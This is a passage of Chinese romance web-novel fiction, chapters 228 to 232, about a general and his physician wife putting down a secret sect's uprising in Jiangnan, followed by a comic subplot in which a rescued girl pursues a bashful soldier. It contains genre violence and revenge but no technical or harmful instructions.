“哈哈哈…他能给你什么?粗鲁无趣!整天就知道打仗杀人!他能懂什么风花雪月?能怎么伺候你?” “跟我不好吗?我懂医术,知情趣,会哄人…保证让你夜夜快活似神仙…考虑考虑我…啊——!” 他话没说完,杜仁绍忍无可忍,一耳光扇过去,打得他脑袋一偏,差点昏死过去。 “狗杂种!老子撕了你的嘴!”杜仁绍气得额头青筋暴起。 李梵娘这次没再拦他。 她从随身的药囊里,取出一个小瓷瓶,倒出一粒散发着甜腥味的猩红色药丸。 她对旁边的赵无咎淡淡道:“赵无咎,劳烦让他把这‘断子绝孙逍遥丸’服下去。” 赵无咎嘴角微不可查地抽了一下,立刻上前捏开柳彦的下巴,把那药丸塞进去,逼他咽下。 柳彦惊恐地瞪大眼睛,“你…你给我吃了什么?毒药?” 李梵娘声音依旧平淡无波,说的话却让在场所有男人都觉得胯下一凉。 “你不是那么想‘快活’,那么想‘伺候’人,那么管不住你那二两肉,总想着干坏事儿么?” “这药能让你‘心想事成’。从今往后,你就算看到九天玄女,那儿也就只是个摆设了。” “既然那么喜欢用下三滥的手段,那就安安心心当个真正的废物吧。” 柳彦如遭雷击,脸瞬间惨白。 整个土牢里一片死寂。 王猛和几个亲兵下意识地夹紧了双腿。 赵无咎也默默后退了半步。 所有人心里只有一个念头:惹天惹地,千万别惹嫂子,尤其是别用那种龌龊心思惹。 这报复手段太…太狠了! 简直是杀人诛心啊! 杜仁绍看着自家媳妇儿,默默握紧了她的手。 心里暗自发誓:以后自己要更乖一点…千万不能惹毛了她… 李梵娘拍了拍手,转身对杜仁绍道:“好了,气顺了。我们走吧,这里味道不好。” “好,我们走。”杜仁绍立刻揽着她离开这个令人不适的地方。 走出土牢,李梵娘长长地舒了一口气,一直紧绷的肩膀终于放松下来。 杜仁绍低头看着她,忍不住低笑:“我家夫人…真是…好样的。” 李梵娘挑眉看他:“怎么?怕了?” “怕?”杜仁绍将她搂紧,朗声笑道,“我高兴还来不及!这说明我媳妇儿心里在乎我,谁敢撬我墙角,就得做好被挫骨扬灰的准备!” “德行!”李梵娘嗔了他一眼,嘴角却忍不住弯了起来。 他侧头看着身边人,他的梵娘从来都不是需要被圈养在温室里的娇花。 她有她的锋芒,有她的原则,更有保护自己和所在乎的一切的魄力与手段。 “饿不饿?灶上还温着鸡汤,我去给你端来?”他声音放得极柔,仿佛刚才那个在牢里想杀人的不是他。 李梵娘摇摇头,靠在他肩头,“不想吃,没胃口。就想回去躺着。” “好,那就回去躺着。”杜仁绍半扶半抱地带着她往回走。 回到军帐,杜仁绍伺候她躺下,又拧了热帕子给她擦脸擦手。 李梵娘闭着眼享受他的照顾,忽然轻声开口:“仁绍。” “嗯?”杜仁绍手上动作没停。 “我是不是…太狠了?”她睁开眼,眼底有些不确定。 杜仁绍动作一顿,放下帕子,坐在榻边,握住她的手。 “狠?那是他咎由自取。” “他敢把那种龌龊心思动到你头上,敢用那种下作手段,就该想到会有生不如死的下场。” “你没直接要他的命,已经很善良了,让他活着尝尝自己种下的恶果,这才是最合适的报应。” 他俯身抵着她的额头,“我的梵娘,嫉恶如仇,恩怨分明,好得很。我喜欢的就是这样的你。” 李梵娘看着他眼里的信任与支持,心中那点儿不安瞬间烟消云散。 她嘴角弯起,轻轻“嗯”了一声,“你先去忙吧。” “好。” 杜仁绍起身出了帐子,脸上的温柔瞬间消失。 “王猛!” “末将在!” “加派人手盯着所有可能与‘云山亭’残余有牵连的地方,赵无咎那边一有口供,立刻行动。” “告诉他们,非常时期,用非常手段!宁可错抓,不可错放!” “是!” 山雨欲来风满楼。 接下来的两日,表面看着风平浪静。 杜仁绍忙着调兵遣将,根据柳彦的口供,迅速清扫了“云山亭”在苏州及周边城镇的数个据点,抓获了不少中层头目,缴获大量财物和往来密信。 李梵娘则配制了大量常用药材和解毒剂,以备不时之需。 “云山亭”经营多年,盘根错节,绝不可能就此束手就擒。 果然,第三日天刚蒙蒙亮,数匹快马带着烟尘冲入了军营。 “报——!国公爷!不好了!嘉兴府昨夜突发大火,府衙、粮仓尽数被焚!乱民趁势冲击官署,知府大人…殉职了!” “报——!湖州急报!多处河道发现大量死鱼,水源疑似被投毒!有暴民散布谣言,说是…说是国公爷和夫人引来天罚,要断绝江南生机!” “报——!松江府传来消息,有悍匪冲击大牢,试图劫狱!虽被击退,但囚犯伤亡惨重!” 坏消息一个接一个,就像约好了同时发生一样。 混乱、火灾、投毒、谣言、劫狱…… “云山亭”终于狗急跳墙了。 他们不惜自损一千,也要把江南这锅浑水搅乱,趁机反扑。 军帐内,气氛凝重得能滴出水来。 杜仁绍面沉如水,手指在江南舆图上快速划过。 “这是准备把江南变成炼狱,逼朝廷让步,趁乱再把顾兆安救出来!” 第二百二十八章 狗急跳墙 他猛地一拍桌子,“王猛!了,你带玄甲军左营,驰援嘉兴,镇压暴乱,接管城防,扑灭大火,安抚百姓。” “凡有趁火打劫、煽动闹事者,杀无赦!” “遵命!” “沈追!你带右营去湖州,配合当地驻军,封锁污染水源,排查投毒点,控制散布谣言的人。” “梵娘,把解毒剂和净水药材让沈追带上。” “是!”沈追和李梵娘同时应声。 “赵无咎!皇城司的人马,化整为零,潜进各个府,给我盯死那些跳得最欢的乡绅商贾,找出‘云山亭’埋下的钉子,一有异动,立刻下手。” “是!” 所有人都开始行动。 杜仁绍坐镇中军。 李梵娘则迅速带人配药、分装,将一车车救命的药材和解毒剂交给即将出征的将士。 她还亲自写了一封安民告示,详细说明了水源可能被投毒的情况、简单的辨别方法和应急处理方法,让人大量抄写,随军散发。 “仁绍,”她走到杜仁绍身边,将一份清单递给他,“这是急需的几种药材,库存不多了,需立刻从周边药铺调。” 杜仁绍接过看了一眼,立刻吩咐下去:“按夫人说的办!若有药商囤积居奇、哄抬物价,以通敌叛国处理!” 他转头看向李梵娘,眼神柔和了些许:“外面乱,你就留在营中,这里安全。” 李梵娘却摇摇头:“不,我要去苏州城内。” “不行!”杜仁绍立刻反对,“现在外面什么情况你不知道?太危险了!” “正因为外面乱了,我才更要去。”李梵娘目光坚定,“医馆药铺现在肯定挤满了惊慌的百姓,需要有人坐镇指挥,稳定人心。” “那些谣言是针对我们来的,我若躲起来,岂不正中他们下怀?” “我必须站出来,让百姓看到我,听到我的声音,谣言才能不攻自破。” 杜仁绍知道拦不住她。 他叹了口气,伸手替她理了理鬓角:“带上足够的人手,让王猛…” “不,我让赵无咎派一队暗影贴身保护你!凡事小心,不许逞强!” “我知道。”李梵娘点头,“你也是。” 夫妻二人对视一眼,千言万语尽在不言中。 他们一人执剑,一人持针,做自己能做的。 李梵娘带着人进入苏州城时,城内已经是人心惶惶。 虽然大规模的暴乱尚未发生,但各种谣言满天飞,粮价药价开始飞涨,不少百姓围在官府和各大药铺前,焦急地打探消息。 李梵娘直接让人在府衙前的空地上搭起了临时的义诊棚和施药点。 她站在高处,声音清亮,“乡亲们!稍安勿躁!我是李梵娘!” 人群瞬间安静下来,目光聚焦在她身上。 “近日谣言四起,但我李梵娘就在这里!我没有跑!” “水源问题,朝廷已在紧急处理!大家暂时不要直接饮用河水井水,务必煮沸!” “家中若有发热、腹泻者,可来此处免费看诊取药!” “所有药材,按平日市价发售,绝不涨价!若有人哄抬药价,严惩不贷!” 她的声音带着一种能安定人心的力量。 加上她之前义诊积累的声望,慌乱的人群渐渐平静下来,开始有序地排队等候看诊或买药。 李梵娘亲自坐诊,诊断开方,同时还不忘耐心解释病情,安抚民众情绪。 然而,“云山亭”的手段没这么简单。 临近傍晚,一伙“暴民”突然冲击府衙,与守卫的官兵发生了冲突。 混乱中几名穿着百姓衣服的死士混在人群里,手持淬毒的弩箭,瞄准了正在低头写药方的李梵娘。 “夫人小心!”一个护卫及时发现,猛地推开李梵娘。 “咻!”毒箭擦着李梵娘的衣袖飞过,钉在她身后的柱子上。 现场顿时一片尖叫混乱。 “保护夫人!”暗影和护卫们立刻将李梵娘护在中心,与那些暴徒和死士厮杀起来。 李梵娘脸色发白,心跳如鼓,但很快强迫自己镇定下来。 她迅速指挥医疗队将重伤的百姓转移到安全地带,自己则拿起银针和药粉,为受伤的士兵和来不及躲闪的百姓处理伤口。 混乱的场面逐渐被控制住。 就在这时,一支冷箭射向她的后心。 那支箭来得太快太隐蔽,以至于时刻警惕周围的暗影都未能第一时间察觉。 李梵娘正全神贯注地为一个腿部中箭的士兵止血,只觉得身后一股风袭来。 她下意识地想躲,身体却因为蹲太久而慢了半拍。 眼看毒箭就要从后心刺进来。 千钧一发之际! 一道黑影将她紧紧搂入怀中,迅速旋身。 “噗嗤!” 箭矢扎进来人的肩背。 “仁绍!”李梵娘失声惊呼。 杜仁绍闷哼一声,抱着她的手却箍得更紧,眼神看向箭射来的方向,“东南角,屋顶!拿下!” 几名暗影瞬间扑了过去,屋顶传来了短促的打斗声和惨叫声。 “你怎么样?伤到哪里了?快让我看看!”李梵娘急得声音都变了调,手忙脚乱地想检查他的伤口。 杜仁绍却先低头仔细看她:“我没事,皮糙肉厚。你呢?伤着没有?” 确认她安然无恙,他才松了口气。 随即扯出一个无奈又戏谑的笑,抵着她的额头,喘着粗气,“啧…媳妇儿,看来咱俩真是遭人恨啊…这都想置咱们于死地…” 都这种时候了,他还有心思开玩笑。 李梵娘又气又急又心疼,眼泪都快出来了,捶了他一下:“你还有心思贫!快坐下!箭上有毒!” 她扶着他坐下,剪开肩背处的衣衫,看到那支深入皮肉的箭和周围迅速泛起的乌青色,心都揪紧了。 “别怕…”杜仁绍反而握住她的手,语气轻松,“有你这位医仙娘娘在,阎王爷都不敢收我…” “闭嘴!”李梵娘红着眼睛瞪他,取出银针封住他伤口周围的穴道,阻止毒素蔓延,又给他喂了解毒丹。 她仔细检查了箭镞和毒血,松了口气:“还好,毒性烈是烈,但不是没有解药,你忍着点!” 她握住箭杆一把拔出,带出一股黑血,然后迅速清洗伤口,敷上特制的解毒生肌膏。 整个过程杜仁绍咬紧牙关,哼都没哼一声。 处理完伤口,李梵娘才坐倒在地,靠在他怀里,后怕得浑身发软。 第二百二十九章 白芷 杜仁绍用没受伤的手拍拍她的背,“好了好了,没事了…你看,为夫这不是好好的?” 他环视四周,刺客被当场格杀,暴民也被制服。 百姓们远远看着他们,眼里满是担忧和感激。 杜仁绍提高声音,“诸位乡亲不必惊慌!跳梁小丑已经被清除!杜某与夫人誓与江南共存亡!必还大家一个朗朗乾坤!” 众人纷纷跪拜:“多谢国公爷!多谢医仙娘娘!” 回到军营,李梵娘坚持要杜仁绍卧床休息。 她守在一旁,亲自煎药喂药,寸步不离。 杜仁绍看着她忙碌的身影和眼底的担忧,心里软得一塌糊涂。 他拉着她的手,低声道:“今天吓坏了吧?” 李梵娘瞪他一眼:“你说呢?下次不许再这样扑过来!我有办法躲开的!” “那可不行,”杜仁绍理直气壮,“你是我媳妇儿,我不护着你护谁?再说,你那三脚猫的功夫,我能指望你躲开?” “杜仁绍!”李梵娘气结。 “好好好,我错了…”杜仁绍赶紧认错,把她拉到身边坐下。 “不过说真的,梵娘,今天多亏了你。若不是你稳住了城内局面,我在外面也无法安心调度。” “你我夫妻一体,缺一不可。” 李梵娘靠在他肩上,轻声道:“我只希望这场风波能快点过去…” “快了。”杜仁绍眼神锐利,“他们越是疯狂,越是说明离结束不远了。等京营援兵一到,便是彻底清算之时!” 正如杜仁绍所料,“云山亭”的反扑并没有持续太久。 在玄甲军和皇城司的镇压下,各州府的乱象被迅速平定。 李梵娘公开的证据和持续的义诊,彻底粉碎了谣言。 五日后,京营八千骑兵抵达江南,彻底控制了局面。 江南各州府残存的“云山亭”势力被迅速清扫一空。反抗者被当场格杀,余党则被抓进大牢,等待审讯发落。 局势以肉眼可见的速度平息下来。 捷报八百里加急的送到京城。 皇帝阅后,深感欣慰。 对杜仁绍和李梵娘力挽狂澜、安定江南的功绩予以重赏,金银绸缎、田庄宅邸不在话下。 圣旨内容也说了命杜仁绍与李梵娘继续深挖“云山亭”盘根错节的势力,务必将这颗毒瘤彻底铲除,永绝后患。 接旨后,军营大帐内恢复了宁静。 杜仁绍肩背的箭伤在李梵娘的调理下已好了七八成。 夜色渐深,两人对坐案前。 “这次虽然斩断了他们在江南的触手,但其根基还在,反扑起来险些酿成大祸。”杜仁绍指尖敲了敲图上标的几个爆发点。 李梵娘为他续上一杯热茶,“他们利用的是人心恐慌和对未知事物的恐惧。” “我们在明,他们在暗,防不胜防。下次或许我们可以更早地…‘以医安民’。” “我觉得可以借助教习局和各地药堂建立一个讯息网,比如药材的异常采购等最先流露,若能及时察觉就能抢占先机。” 杜仁绍闻言,眼睛一亮,握住她的手:“这个法子好!夫人真乃我的贤内助,也是国家栋梁!”他兴奋地指着地图。 “如此一来,我的兵力部署也可以调整。玄甲军不必再像以前一样广撒网,只要在关键时候一击毙命就好。” “而皇城司的暗探,也可以和你这儿紧密配合,专门核查和精准打击。” “嗯。”李梵娘点头,指尖在地图上划过,“江南已经差不多稳定下来了,下一步就是他们的总部了。” 两人相视一笑,默契尽在不言中。 经历乞丐窝三日不堪回首的噩梦后,白芷就像是行尸走肉。 她衣衫褴褛,昔日刻意维持的风情荡然无存,只剩下一双空洞和满是恨意的眼睛。 皇城司的人押送她去关押地的途中,一场山洪冲垮了官道,造成了短暂的混乱。 这个女人竟拼命挣脱,跌入汹涌泥流,押送官兵搜寻良久都没有找到,最终只能报了个“坠河失踪,恐已溺毙”。 他们都低估了一个女人绝望后的疯狂。 白芷没有死。 她被河水冲往下游,侥幸抓住一根浮木,挣扎着爬上了岸。 求生的本能和仇恨支撑着她。 她靠着野果、偷窃,甚至与野狗争食,借着对杜仁绍那扭曲的执念和对李梵娘焚心的妒恨,竟然一路摸索着,又潜回了军营附近。 她躲藏在军营外围的密林里,日夜窥探着守卫森严的大营。 每多看一刻,她心里的火就燃烧得更旺一分。 为什么? 为什么杜仁绍眼里从来没有她? 为什么那个李梵娘如此狠毒还能安然无恙地享受着他的呵护? 她不甘心! 她一定要问个明白! 哪怕同归于尽! 这日午后,阳光正好。 李梵娘屏退了左右,独自在药房里整理新送来的一批药材,分拣记录。 周遭很安静,只有药材簌簌的声响。 突然“哐当”一声,药房的门被撞开。 一个人影扑了进来,直冲向李梵娘。 “李梵娘!你这个毒妇!蛇蝎心肠的贱人!!” 是白芷。 她头发乱的像草堆一样,面色蜡黄,眼窝深陷,嘴唇干裂出血,身上的衣服几乎成了布条,露出下面纵横交错的青紫。 她伸手就想往李梵娘脸上抓。 “你毁了我!你彻底毁了我!你不得好死!!”她哭嚎着,声音嘶哑,充满了怨毒。 李梵娘被惊得后退一步,但很快镇定下来。 她看清是白芷,眼中掠过一丝诧异,随即化为了然。 她轻松地格开白芷毫无章法的攻击。 外面的护卫听到动静,立刻冲了进来,将发疯的白芷死死按在地上。 白芷被压在地上,脸贴着地面,却仍在死命挣扎扭动,布满血丝的眼睛死死瞪着李梵娘,嘴里的咒骂一刻都不停。 “你为什么这么恶毒?!给我下那种药!把我扔给那些肮脏的乞丐!你还是不是人?你凭什么得到他全部的爱?凭什么?” 她的哭嚎变成了质问,“杜仁绍!杜仁绍你看看她!你看看这个女人的心肠有多黑!她根本配不上你!为什么?” “为什么你对她死心塌地?为什么你就不能看我一眼?我对你是一片真心啊!为什么你和那些男人不一样?为什么你就不肯接纳我?” 第二百三十章 救人 就在这时,收到消息的杜仁绍大步流星地赶了过来。 他一眼看到被按在地上,像个疯婆子的白芷,以及安然站在一旁的李梵娘,心头先是一紧,随即火气腾起。 他上前一把将李梵娘拉到自己身后,用身体完全护住她。 然后,他才将视线投向地上的白芷。 面对白芷眼里的控诉和质问,杜仁绍的眼神没有一丝波动,只有厌恶。 他的声音传遍药房的每个角落: “你的心意?说白了你不就是被派来给我下药,挑拨我和梵娘感情的女人吗?;你给自己定义的这么好听?” “我夫人的狠,只对你们这些包藏祸心的人。我杜仁绍此生唯她一人。伤她者挫骨扬灰都不解恨。” 他甚至连一句多余的解释都不屑,“来人!把她带走!” 皇城司的人立刻上前,要将白芷拖走。 李梵娘从杜仁绍身后走出来,居高临下地看着白芷,淡淡补了一句:“路,是你自己选的。” 这句话击碎了白芷所有的幻想和执念。 她瞪大眼睛,然后又哭又笑,胡言乱语起来。 皇城司的人面无表情地将她拖了下去,等待她的将是暗无天日的囚禁。 药房恢复了安静。 杜仁绍转过身,仔细打量李梵娘:“没事吧?吓着没有?” 李梵娘摇摇头,反而伸手碰了碰他刚才因动作过大可能牵动的肩伤,“我没事。你才要小心,伤口还没好全呢。” 看着自家夫君那副紧张兮兮、生怕她受了一丁点惊吓的模样,李梵娘忽然莞尔一笑,语气带上了几分戏谑:“我们国公爷如今真是越来越乖了呀?” 杜仁绍闻言,一把搂住她的腰,将人带进怀里,下巴蹭着她的发顶,语气理直气壮又带着几分得意。 “那可不!自家媳妇儿厉害,为夫自然要乖点,免得哪天也给我来一副‘断子绝孙’套餐,我可受不住。” 湖州的动乱虽然被迅速平定,但还是有些影响的,人心惶惶。 杜仁绍让王猛率玄甲军左营,直接去乱子中心。 他治军极严,手段雷厉风行,一边打压趁火打劫的地痞流氓,一边组织人手安抚受惊百姓,发放应急粮草,忙得脚不沾地。 这日傍晚,城中一处偏僻巷子里忽然冒起浓烟。 王猛正带人巡城,见状立刻赶去。 起火的是一户普通小院,火势从主屋窜起,烧得噼啪作响。 周围邻居惊慌呼喊:“哎呀!苏家丫头还在里头!被她那黑心后母反锁在房里了!” 王猛眉头一拧,骂了句“操蛋”,也顾不上多想,一脚踹开摇摇欲坠的院门,对身后士兵吼:“救人!快!” 他冒着浓烟热浪冲进火场。 主屋房门果然被一把铜锁从外锁死,里面传来微弱的咳嗽和拍门声。 王猛抡起拳头“哐哐”几下砸断了门栓,踹开房门。 只见一个纤瘦的身影蜷缩在角落,用湿布捂着口鼻,已经被熏的有点儿迷糊了。 王猛二话不说,扯过旁边桌上半湿的桌布往她头上一蒙,拦腰将人抱起,“憋住气!” 转身就往外冲。 刚冲出去,“轰隆”一声房梁塌了半截。 王猛抱着人几个箭步冲到外面,将她放下,自己也呛得连咳了好几声。 “丫头?没事吧?”他扯开那布子。 烟尘渐散,露出一张沾了烟灰却依旧难掩清丽的小脸。 约莫十六七岁年纪,眼睛水汪汪的,被呛得泛着水光,惊魂未定地看着眼前这个被烟火熏得黢黑的汉子。 她眨了眨眼,突然一把抓住王猛还扶着她的手,声音还有些咳喘。 “大哥,多谢你救命之恩!小女子苏婉,无以为报,愿以身相许!” “噗——咳咳咳!”王猛差点被自己的口水呛死。 他打仗是一把好手,面对千军万马可以说眼皮都不眨一下。 可被个半大丫头抓着说要“以身相许”,这阵仗他真没见过。 他像是被火烫了一样,猛地甩开手,黝黑的脸涨得通红,连连后退,舌头都打结了:“胡、胡闹!瞎说八道什么!” 苏婉拍了拍身上的灰,眼睛亮晶晶地盯着他,“我没胡闹,话本里都这么写的,英雄救美,美人自然要以身相许!你救了我,我以后就是你的人了!” 王猛头皮发麻,看着这丫头一副理所当然的样子,只觉得比面对敌军还可怕。 他粗声粗气说着:“老子是奉命救火!换谁在里面都得救!谁要你以身相许了!赶紧回家去!” 说完再不敢多看那丫头一眼,几乎是落荒而逃,对着手下吼得格外大声:“看什么看!灭火!清点伤亡!动作快点!” 士兵们憋着笑,赶紧忙活去了。 苏婉站在原地,看着王猛同手同脚逃离的背影,非但没生气,反而噗嗤一声笑了出来,眼里兴趣更浓。 “真是个有意思的莽汉子…” 她那个刻薄后母早在起火时就卷了细软跑得没影了,这家是回不去了。 苏婉想了想,朝着王猛离开的方向跟了上去。 王猛好不容易摆脱了那“惊吓”,将后续事宜交给副手,骑马赶回城外大营复命。 一路上,他总觉得后背发毛,好像被什么盯上了似的。 回到营中,向杜仁绍详细禀 报了湖州情况,直到走出中军大帐,他才松了口气。 “猛子哥,咋啦?脸这么红?让火烤着了?”一个相熟的校尉打趣道。 王猛没好气地瞪他一眼:“滚蛋!老子热的!” 他甩甩头,想把那丫头片子荒唐的话甩出脑子,决定去校场操练一番,去去晦气。 然而,他刚走到校场,还没等拿起石锁,一个士兵就气喘吁吁地跑了过来。 “王、王副将!营门外有个小姑娘,说是从湖州来的,指名道姓要找您!说…说您是她的恩公,她来报恩了!” 王猛手一抖,石锁差点砸自己脚面上。 “啥?她还真找来了?”他眼睛瞪得溜圆。 “就、就说我不在!谁也不见!”王猛压低声音,赶紧躲到一堆兵器架后面。 那士兵表情古怪:“…她说看见您进校场了…” 王猛:“……” 不是,自己莽就不说了,救的人也这么莽? 他猫着腰想往自己营帐溜。 第二百三十一章 以身相许 “王将军!您别躲了!我看见您了!” 苏婉不知怎么说服了守门士兵,站在校场边缘踮着脚尖朝他这边挥手。 王猛头皮发麻,想也不想,转身就往马厩跑。 “王将军!您等等我呀!”苏婉提着裙摆就追。 一个逃,一个追。 王猛这辈子都没这么狼狈过。 钻马厩,被战马嫌弃地喷响鼻。 爬树,结果盔甲卡在树杈上。 甚至想混进正在操练的步兵方阵里,可他这大体格子,简直就是鹤立鸡群… 整个军营的士兵都憋笑憋得满脸通红,肩膀抖得跟抽风似的。 杜仁绍闻讯出来,看着自家副将那副窘样,又看看那个小姑娘,嘴角忍不住勾起一丝笑意。 他侧头对身旁的亲兵吩咐,“去,告诉王猛,自己的‘仗’自己打,别把麻烦带到演武场来。” 最终王猛还是被苏婉堵在了后勤营的一堆麻袋后面。 “王大哥,您就这么讨厌我?” 苏婉跑得脸颊红扑扑的,眼睛却依旧亮得惊人。 王猛靠着麻袋喘着粗气,一脸崩溃:“小姑奶奶!我求你了!我是朝廷武将,在办差!不是陪你玩过家家的!你快回家去!” 苏婉神色一黯,低声道:“我没家了…后母卷了钱跑了,爹早没了…我就认得你了…” 王猛一愣,看着小姑娘瞬间低落的样子,心里莫名地有点不是滋味。 但嘴上还是硬邦邦的:“那、那也不能赖上我啊!军营重地,岂是儿戏!赶紧走!” 说完,他趁苏婉低头抹眼睛的功夫窜出去,以百米冲刺的速度逃回了自己的营帐。 苏婉看着他逃命的背影,跺了跺脚,却没再追。 她眼珠转了转,嘀咕道:“哼!莽汉子!躲着我是吧?我就不信找不到治你的人!” 王猛以为躲回营帐就万事大吉了。 他看了半天帐门口,确定没人进来,长长的舒了一口气。 “娘的…比打一场硬仗还累人…”他嘟囔着,脑子里却不由自主地闪过那双眼睛。 甩甩头,他强迫自己去看兵书,可字里行间仿佛都映出那张沾着烟灰的小脸。 营外,苏婉倒是没再硬闯。 她是个聪明人,知道硬碰硬不行,得换个法子。 她在军营外溜达了几圈,观察着进出的人员。 很快,她发现一位气质温婉,被士兵们称为“夫人”的女子。 她时常出入伤兵营,身后跟着的侍女也提着药箱。 苏婉眼睛一亮,计上心头。 她整理了一下的衣衫和头发,尽量让自己看起来乖巧可怜些。 然后在那位夫人从伤兵营出来,走向中军大帐的路上,噗通一声跪在了面前。 “民女苏婉,求夫人救命!” 李梵娘刚从伤兵营查看完伤员出来,心里正想着几种药材的配比,被这一跪吓了一跳。 身后的侍女立刻上前一步戒备。 李梵娘看清是个年纪不大的小姑娘,衣衫朴素,脸上还带着些烟熏火燎的痕迹,眼神清澈不像是坏人。 她柔声道:“小姑娘起来说话,有什么难处?” 苏婉抬起头,眼圈说红就红,带着哭腔,“夫人,民女是湖州人,家中遭了火灾,后母卷款跑了,民女无家可归…” “幸得王猛将军救命之恩,民女…民女想报答将军,哪怕为奴为婢伺候他也行!可、可王将军他…他嫌弃民女,不肯收留…” “民女举目无亲,实在不知该去何处了…求夫人发发慈悲,给民女指条活路吧!” 她一边说,一边悄悄观察着李梵娘的神色。 李梵娘何等聪慧,一听“王猛”、“救命之恩”、“以身相许/为奴为婢”这几个词。 再联想今日军营里传得沸沸扬扬的王副将被个小姑娘追得鸡飞狗跳的趣事,心里明白了八九分。 她看着苏婉故作可怜却难掩灵动的眼神,以及那话语里透着的执拗和大胆,倒是觉得有几分新奇。 这丫头不像寻常哭哭啼啼的弱女子。 她伸手扶起苏婉:“王猛是军中之人,军纪严明,岂能随意收留女子。你先跟我来,慢慢说。” 李梵娘将苏婉带回自己的帐子,给她倒了杯水,又拿了点吃的。 苏婉也不扭捏,道了谢,小口吃着,一边吃一边偷偷打量李梵娘。 见她神色温和,便大着胆子将如何被王猛所救、如何“表白”被拒、如何追来军营的事。 只不过删减了些“豪言壮语”,反而自己“无家可归”、“只想报恩”的处境。 李梵娘听着,嘴角忍不住上扬。 这丫头,性子倒是泼辣直率,敢爱敢恨,有点她的影子。 她沉吟片刻说,“军营确实有规矩,我不能擅自留你。不过…” 她看了看药帐里堆积如山的药材和需要整理的医案。 “我这几日正缺个手脚麻利的帮手整理药材、誊抄方子,你若愿意,可以帮我几日,我也好替你想想日后的去处。” 苏婉一听,有门儿! 能留在夫人身边,还怕见不到那个莽汉子? 她立刻站起身,规规矩矩地行了个礼:“愿意!民女愿意!多谢夫人!民女一定好好干活,绝不偷懒!” 说着,就挽起袖子,眼睛亮晶晶地看着那些药材,“夫人,这些要如何整理?您吩咐就行!” 李梵娘见她反应快又主动,心里添了几分喜欢,便指点她如何分门别类。 苏婉学得快,手脚麻利,而且嘴特别甜,一口一个“夫人您真厉害”、“这药香真好闻”、“夫人您真是菩萨心肠”,哄得李梵娘脸上的笑就没断过。 消息很快传到了王猛耳朵里。 听说那丫头非但没走,反而被夫人收留在药帐帮忙了! 王猛眼前一黑,差点晕过去。 他急匆匆赶到药帐外,果然看见苏婉正有模有样地跟着李梵娘辨认药材,脸上满是认真。 一看到他,苏婉眼睛瞬间亮了,刚要开口,王猛嗖一下又把头缩了回去,溜得比兔子还快。 苏婉冲他的背影做了个鬼脸,转头对李梵娘笑得乖巧:“夫人,王大哥好像很怕我呀?” 李梵娘忍俊不禁:“他不是怕你,他是没见过你这样的姑娘。” 接下来的几天,苏婉就扎根在了药帐。 她聪明勤快,学东西快,把李梵娘交代的活儿干得井井有条。 有空闲时间还主动帮忙照顾伤势较轻的伤员,很快赢得了伤兵营上下的一致好评。 她现在可不再像之前那样明目张胆地追着王猛跑,而是采取了“敌进我退,敌退我扰”的策略。 第二百三十二章 好像也不错? 王猛来药帐汇报事情或看望李梵娘,她就乖巧地站在一旁,睁着大眼睛“无辜”地看着他。 王猛被看得浑身不自在,话都说不利索,匆匆说完就逃。 若是路上“偶遇”,苏婉就甜甜地喊一声“王大哥好”,然后看着他同手同脚地走开,自己在后面偷笑。 全军将士都乐得看他们铁血硬汉的王副将吃瘪,茶余饭后多了不少谈资。 杜仁绍也听闻了,某次议事结束后,拍拍王猛的肩膀,语气戏谑:“猛子,听说你最近…操练得很辛苦啊?连马厩和树杈都新增为训练项目了?” 王猛黝黑的脸涨成紫红色:“国公爷!您就别取笑末将了!那丫头…那丫头她…” “我看着那姑娘不错,性子爽利,眼神清正,不像有坏心眼的。”杜仁绍笑道,“梵娘也挺喜欢她。你自己掂量着办,总躲着也不是事儿。” 王猛苦着脸:“国公爷,末将…末将这…唉!” 他是真不知道该怎么办了。 王猛觉得自己快被逼疯了。 那丫头简直就是他命里的克星! 以前在战场上,敌人再凶猛,他也能找到破绽。 可现在,这“敌人”不按常理出牌,打不得骂不得,躲还躲不掉,简直让他要疯了。 更让他心烦意乱的是,他发现自己的情绪开始被那丫头牵着走了。 白天被她看得落荒而逃,晚上躺在营帐里,眼前却总晃着她的眼睛、她的声音,还有那副“我就认定你了”的执拗样儿。 “娘的…中邪了…”王猛烦躁地翻了个身,用被子蒙住头。 他开始刻意避开药帐和所有可能遇到苏婉的地方,甚至汇报军务都尽量让副手去。 然而,越是躲避,心里的异样感就越是清晰。 这日,他带队巡营回来,远远看见苏婉正和几个伤兵说话,不知说了什么,逗得那几个汉子哈哈大笑,她自己也在笑,眉眼弯弯,在夕阳下仿佛镀了一层金边。 王猛脚步一顿,竟有些看呆了。 直到苏婉若有所觉,转头望过来,对他展颜一笑。 王猛心头猛地一跳,像是被什么东西撞了一下,慌忙移开视线,板着脸,加快脚步从另一边绕了过去。 身后传来苏婉和伤兵们更大的笑声,似乎还在打趣着什么“王副将害羞了”。 王猛耳朵根都烧起来了。 夜里,他忍不住去找杜仁绍喝酒,其实是诉苦。 两碗烈酒下肚,王猛憋不住了,黝黑的脸上满是困惑和烦躁。 “老大,您说…那丫头她图啥啊?我老王就是个粗人,除了会打仗杀人,要钱没钱,要貌没貌,年纪还比她大上一轮…” “她口口声声说什么救命之恩,以身相许…这话本里的玩意儿能当真吗?是不是…是不是谁派来耍我的?” 他越想越觉得可疑,“或者…她就是想找个安身之所?看我是副将,所以…” 杜仁绍慢悠悠地品着酒,看着他这副苦恼的样子,觉得颇为有趣。 “图你这个人实在,图你救命之恩真心,图你是个顶天立地的汉子。”杜仁绍放下酒杯,“猛子,有时候,喜欢一个人,没那么多弯弯绕绕的理由。” “至于她是不是真心…”杜仁绍笑了笑,“你战场上判断敌情虚实的那股子敏锐劲儿呢?拿出来,自己去看去听。光躲着能躲出个结果来?” 王猛被说得哑口无言,闷头又灌了一碗酒。 第二天,王猛决定不再躲避。 他倒要看看,这丫头到底搞什么名堂! 他故意从药帐前经过,步子故意放慢。 苏婉正在晾晒药材,看到他,依旧是甜甜的笑容:“王大哥!” 王猛停下脚步,硬邦邦地“嗯”了一声,目光却不由自主地落在她因扒拉药材而泛红的手上。 “这些活儿…让下面人干就是了。”他憋出一句。 苏婉眨眨眼:“没事儿,我能干!夫人教了我好多东西呢!我觉得挺有意思的!” 她拿起一株药材,“王大哥您看,这是三七,止血化瘀的良药!您战场上说不定用得到呢!” 她兴致勃勃地介绍着,眼神干净,没有丝毫谄媚或算计。 王猛看着她认真的侧脸,心里某个地方微微一动。 接下来的几天,王猛虽然还是不太敢和苏婉长时间独处,但不再像以前那样看见她就跑。 偶尔会驻足听她说几句话,虽然回应大多还是“嗯”、“哦”、“知道了”,但态度明显缓和了许多。 